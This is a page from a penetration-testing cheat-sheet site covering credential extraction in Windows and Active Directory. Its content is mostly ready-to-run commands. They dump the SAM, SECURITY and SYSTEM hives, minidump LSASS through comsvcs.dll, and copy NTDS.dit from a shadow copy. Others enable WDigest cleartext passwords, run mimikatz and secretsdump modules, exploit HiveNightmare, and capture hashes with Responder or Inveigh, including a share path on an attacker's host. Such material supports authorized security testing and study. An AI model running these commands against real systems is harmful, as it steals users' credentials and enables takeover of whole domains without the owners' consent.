Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page
  • General Info
  • SAM Hashes
  • Get File
  • Extract
  • LSASS Hashes
  • Get File
  • Extract
  • NTDS Hashes
  • Get File
  • Extract
  • UseLogonCredential Registry Key
  • Store Password using Reversible Encryption
  • With Tools
  • Sniffing

Was this helpful?

  1. Pentesting Process
  2. Active Directory

Extract Hash & Password

Attacks that allow obtaining NTLM hashes of local users or Active Directory domain users.

General Info

Database

SAM (Security Account Manager)

Hash format

LM (up to Vista Server 2008, 2 DES blocks of 7 lowercase chars, 69 chars total) NTLM (MD4)

Authentication protocols

NTLMv1 (uses LM and NTLM hashes) NTLMv2 (uses NTLM hashes) Kerberos

Process

LSASS (Local Security Authority Subsystem Service), system process dedicated to authentication, access, etc.

NTDS.dit

Each Domain Controller in Active Directory keeps this database file synchronized, which contains a lot of information including usernames and password hashes (SAM is used only for logins on the device with local accounts)

SAM Hashes

To extract hashes from the SAM database we need:

  • Administrator Privileges

  • hklm\sam contains the password hashes.

  • hklm\system contains the bootkey needed to decrypt the SAM db.

  • hklm\security contains cached credentials for domain accounts.

Get File

Create copies for transfer

reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

Extract

secretsdump.py -sam sam.save -system system.save [-security security.save] LOCAL

LSASS Hashes

To extract hashes from the LSASS process we need:

  • Administrator Privileges

  • Dump of the running process

Get File

Create a copy for transfer

Task Manager > Right-click on LSAProcess > Create dump file

Or

tasklist /svc or Get-Process lsass
# get PID LSASS
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\lsass.dump full

Extract

pypykatz lsa minidump lsass.dump

NTDS Hashes

To extract hashes from the NTDS.dit file we need::

  • Connect to a Domain Controller

  • Have Local Administrator (Administrators group) or Domain Administrator (Domain Admins group) rights (or equivalent)

  • hklm\system contains the bootkey needed for decryption

Get File

Create a copy for transfer

vssadmin CREATE SHADOW /For=C:

Or

vshadow.exe -nw -p C:
# get PATH
cmd.exe /c copy <PATH>\Windows\NTDS\NTDS.dit c:\NTDS.dit

Extract

secretsdump.py -ntds NTDS.dit -system system.save LOCAL

UseLogonCredential Registry Key

We need to enable that Registry Key UseLogonCredential to be able to extract Clear Password

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

And reboot

shutdown /r /t 0 /f

Store Password using Reversible Encryption

Enumeration

Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

With Tools

Tool
Details

Remotly nxc smb <IP> --local-auth -u <USER> -p <PASS> --sam --lsa nxc smb <IP_DC> -u <USER> -p <PASS> --ntds

On Host (need SeDebugPrivilege active, in addition to administrator privileges)

.\mimikatz.exe

secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC>

Create a copy of the SAM files, System, Security from any user even unprivileged. CVE-2021-36934 - SeriousSam .\HiveNightmare.exe

Sniffing

Tool
Details

Linux sudo responder -I <INTERFACE> sudo responder -I <INTERFACE> -A (passive analysis mode) See /usr/share/responder/logs

Windows PowerShell version (no longer maintained) Import-Module .\Inveigh.ps1 Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y C# version .\Inveigh.exe [ESC] > HELP

If we have access to the target we can use net use \<IP_Attacker>\share

Last updated 14 hours ago

Was this helpful?

Extracting hashes from the SAM database in offline mode by having the files. Use .

Extracting hashes from the LSASS process dump in offline mode by having the files. Use .

Extract hashes from NTDS.dit file offline, having the files. Use .

When this option is set on a user account, the passwords are stored using RC4 encryption with the key stored in the registry (the Syskey) that can be extracted by a Domain Admin or equivalent. Tools such as will decrypt any passwords stored using reversible encryption while dumping the NTDS file either as a Domain Admin or using an attack such as .

With PowerView ( and )

> privilege::debug > lsadump::sam > lsadump::lsa > lsadump::secrets > vault::cred > sekurlsa::credman > sekurlsa::logonpasswords full (see )

For All Moduls see . For RevShell: load kiwi

impacket-secretsdump
pypykatz
impacket-secretsdump
impacket-secretsdump.py
DCSync
Old
New
netexec
mimikatz
UseLogonCredential Registry Key
HERE
Meterpreter
impacket-secretsdump
HiveNightmare
responder
Inveigh